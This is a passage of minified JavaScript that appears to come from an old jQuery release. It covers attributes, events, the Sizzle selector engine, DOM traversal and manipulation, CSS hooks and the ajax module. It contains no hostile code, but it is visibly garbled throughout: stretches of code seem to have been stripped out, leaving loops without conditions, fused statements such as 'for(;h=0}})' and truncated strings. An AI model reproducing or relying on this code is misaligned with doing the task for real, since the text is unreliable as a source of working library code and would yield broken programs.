g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; +f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&i.push({elem:this,matches:d.slice(e)});for(j=0;j0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
","
"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() +{for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var 